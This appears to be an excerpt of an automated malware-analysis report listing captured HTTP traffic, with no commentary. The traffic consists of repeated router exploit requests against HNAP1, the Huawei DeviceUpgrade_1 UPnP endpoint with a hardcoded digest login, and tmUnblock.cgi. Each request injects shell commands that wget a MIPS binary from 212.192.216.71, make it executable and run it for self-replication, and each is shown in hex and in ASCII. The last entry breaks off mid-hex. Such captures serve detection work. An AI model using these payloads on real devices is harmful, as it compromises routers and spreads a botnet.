Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 